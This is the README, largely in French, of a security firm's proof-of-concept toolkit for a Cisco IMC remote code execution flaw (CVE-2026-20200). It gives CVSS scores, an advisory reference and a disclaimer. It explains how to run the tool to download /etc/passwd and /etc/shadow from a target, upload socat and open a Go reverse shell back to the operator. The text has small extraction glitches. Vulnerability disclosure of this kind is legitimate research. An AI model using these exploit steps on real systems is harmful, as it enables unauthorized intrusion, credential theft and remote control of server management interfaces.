
Boîte à outils PoC pour l'exploitation de la RCE Cisco IMC CVE-2026-20200
Christoph Peil @ NSIDE ATTACK LOGIC 2026
CVE: CVE-2026-20200
CVSS v3.1 (CISCO): 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS v3.1 (NSIDE): 9.9 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Advisory: NSIDE-SA-2026-003
Blogpost: https://www.nsideattacklogic.de/en/cisco-imc-when-remote-management-becomes-a-backdoor-cve-2026-20200/
Cette preuve de concept est uniquement destinée à des fins de démonstration et ne doit pas être utilisée pour des activités illégales. NSIDE ATTACK LOGIC n'est pas responsable des dommages causés par l'utilisation ou la mauvaise utilisation de ce code.
Cet exploit permet de télécharger des fichiers, d'en téléverser et de générer un reverse shell. Il contient plusieurs fichiers Python de la preuve de concept (PoC), un dossier shell et un dossier .
downloadDans le dossier download sont placés tous les fichiers téléchargés depuis le serveur, avec leur nom (par exemple /etc/passwd > passwd).
Le dossier shell contient tout ce qui est nécessaire pour un reverse shell. Le fichier lib.so est une petite bibliothèque, construite pour ARM afin d'exécuter simplement le binaire sur l'IMC dans /tmp/main. La commande exacte utilisée pour la construire se trouve dans util.py. Le dossier contient également un reverse_shell.go.example, un petit reverse shell en Go, qui doit être compilé au préalable afin d'y inclure votre adresse IP locale utilisée pour le reverse shell.
Pour que le reverse shell fonctionne, vous devez d'abord le construire avec l'action -a build.
sudo apt install golang-go
pip install -r requirements.txt
Usage: CIMCown.py [-h] [--proxy PROXY] -t HOST -u USERNAME -p PASSWORD [-a ACTION] [-v]
options:
-h, --help show this help message and exit
--proxy PROXY Set proxy to use, e.g. 127.0.0.1:8080 (Default: NONE)
-t, --host HOST Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
-U, --username USERNAME
-P, --password PASSWORD
-a, --action ACTION Action: test, download, upload, build, shell (default: test)
Test will connect to the CIMC and download the file /etc/passwd
-u, --uploadFile UPLOADFILE
File to upload
-p, --remoteFile REMOTEFILE
Remote file path to upload to
-d, --downloadFile DOWNLOADFILE
File to download, is saved into 'Download'
-v, --verbose Displays more information about cimc
Attention à la majuscule U et à la majuscule P pour l'utilisateur et le mot de passe !
python ./CIMCown.py -U testAdmin -P testPassword -a test -t 192.168.10.2
python ./CIMCown.py -U testAdmin -P testPassword -a download -d '/etc/shadow' -t 192.168.10.2
python ./CIMCown.py -U testAdmin -P testPassword -a upload -u './shell/socat' -p '/tmp/socat' -t 192.168.10.2
python ./CIMCown.py -U testAdmin -P testPassword -a build
# action 'build' is needed before for local IP in revShell
python ./CIMCown.py -U testAdmin -P testPassword -a shell